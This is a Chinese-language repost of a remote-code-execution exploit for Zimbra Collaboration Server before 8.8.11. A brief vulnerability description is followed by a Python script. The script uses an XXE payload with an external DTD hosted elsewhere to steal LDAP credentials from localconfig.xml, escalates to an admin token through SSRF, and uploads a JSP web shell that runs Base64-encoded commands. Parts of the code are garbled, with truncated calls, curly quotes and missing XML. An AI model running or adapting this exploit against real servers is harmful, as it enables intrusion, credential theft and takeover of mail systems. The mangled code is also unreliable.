900字范文 > [EXP]CVE--9621 Zimbra小于8.8.11 远程代码执行漏洞 XXE GetShell Exploit

[EXP]CVE--9621 Zimbra小于8.8.11 远程代码执行漏洞 XXE GetShell Exploit

时间：2023-06-29 02:27:31

漏洞描述：

当Zimbra存在像任意文件读取、XXE（xml外部实体注入）这种漏洞时，攻击者可以利用此漏洞读取localconfig.xml配置文件，获取到zimbra admin ldap password，并通过7071 admin端口进行SOAP AuthRequest认证，得到admin authtoken漏洞是利用XXE和ProxyServlet SSRF漏洞拿到admin authtoken后，通过文件上传在服务端执行任意代码，威胁程度极高。当Zimbra服务端打来Memcached缓存服务是，可以利用SSRF攻击进行反序列化执行远程代码。不过由于Zimbra在单服务器安装中尽管Memcached虽然启动但是并没有进行使用，所以其攻击场景受到限制。

影响版本：

ZimbraCollaboration Server 8.8.11 之前的版本都受到影响。具体来说：

Zimbra < 8.7.11 版本中，攻击者可以在无需登录的情况下，实现远程代码执行。

Zimbra < 8.8.11 版本中，在服务端使用 Memcached 做缓存的情况下，经过登录认证后的攻击者可以实现远程代码执行。

GetShell代码

#coding=utf8import requestsimport sysfrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disable_warnings(InsecureRequestWarning)base_url=sys.argv[1]base_url=base_url.rstrip("/")#upload file name and content#modify by k8gege#Connect "shell.jsp" using K8fly CmdShell#Because the CMD parameter is encrypted using Base64(bypass WAF)filename = "shell.jsp"fileContent = r'<%@page import="java.io.*"%><%@page import="sun.misc.BASE64Decoder"%><%try {String cmd = request.getParameter("tom");String path=application.getRealPath(request.getRequestURI());String dir="weblogic";if(cmd.equals("NzU1Ng")){out.print("[S]"+dir+"[E]");}byte[] binary = BASE64Decoder.class.newInstance().decodeBuffer(cmd);String xxcmd = new String(binary);Process child = Runtime.getRuntime().exec(xxcmd);InputStream in = child.getInputStream();out.print("->|");int c;while ((c = in.read()) != -1) {out.print((char)c);}in.close();out.print("|<-");try {child.waitFor();} catch (InterruptedException e) {e.printStackTrace();}} catch (IOException e) {System.err.println(e);}%>'print(base_url)#dtd file urldtd_url="https://k8gege.github.io/zimbra.dtd""""<!ENTITY % file SYSTEM "file:../conf/localconfig.xml"><!ENTITY % start "<![CDATA["><!ENTITY % end "]]>"><!ENTITY % all "<!ENTITY fileContents '%start;%file;%end;'>">"""xxe_data = r"""<!DOCTYPE Autodiscover [<!ENTITY % dtd SYSTEM "{dtd}">%dtd;%all;]><Autodiscover xmlns="/exchange/autodiscover/outlook/responseschema/a"><Request><EMailAddress>aaaaa</EMailAddress><AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema></Request></Autodiscover>""".format(dtd=dtd_url)

#XXE stage

headers = {

“Content-Type”:“application/xml”

}

print("[*] Get User Name/Password By XXE “)

r = requests.post(base_url+”/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=15)

#print r.text

if ‘response schema not available’ not in r.text:

print(“have no xxe”)

exit()

#low_token Stage

import re

pattern_name = pile(r"<key name=("|")zimbra_user("|")>\n.?<value>(.?)</value>")

pattern_password = pile(r"<key name=("|")zimbra_ldap_password("|")>\n.?<value>(.?)</value>")

username = pattern_name.findall(r.text)[0][2]

password = pattern_password.findall(r.text)[0][2]

print(username)

print(password)

auth_body="""<soap:Envelope xmlns:soap=“//05/soap-envelope”>

<soap:Header>

</context>

</soap:Header>

<soap:Body>

<account by=“adminName”>{username}</account>

<password>{password}</password>

</AuthRequest>

</soap:Body>

</soap:Envelope>

“”"

print("[*] Get Low Privilege Auth Token")

r=requests.post(base_url+"/service/soap",data=auth_body.format(xmlns=“urn:zimbraAccount”,username=username,password=password),verify=False)

pattern_auth_token=pile(r"<authToken>(.*?)</authToken>")

low_priv_token = pattern_auth_token.findall(r.text)[0]

#print(low_priv_token)

SSRF+Get Admin_Token Stage

headers[“Cookie”]=“ZM_ADMIN_AUTH_TOKEN=”+low_priv_token+";"

headers[“Host”]=“foo:7071”

print("[*] Get Admin Auth Token By SSRF")

r = requests.post(base_url+"/service/proxy?target=https://127.0.0.1:7071/service/admin/soap",data=auth_body.format(xmlns=“urn:zimbraAdmin”,username=username,password=password),headers=headers,verify=False)

admin_token =pattern_auth_token.findall(r.text)[0]

#print(“ADMIN_TOKEN:”+admin_token)

f = {

‘filename1’:(None,“whocare”,None),

‘clientFile’:(filename,fileContent,“text/plain”),

‘requestId’:(None,“12”,None),

}

headers ={

“Cookie”:“ZM_ADMIN_AUTH_TOKEN=”+admin_token+";"

}

print("[] Uploading file")

r = requests.post(base_url+"/service/extension/clientUploader/upload",files=f,headers=headers,verify=False)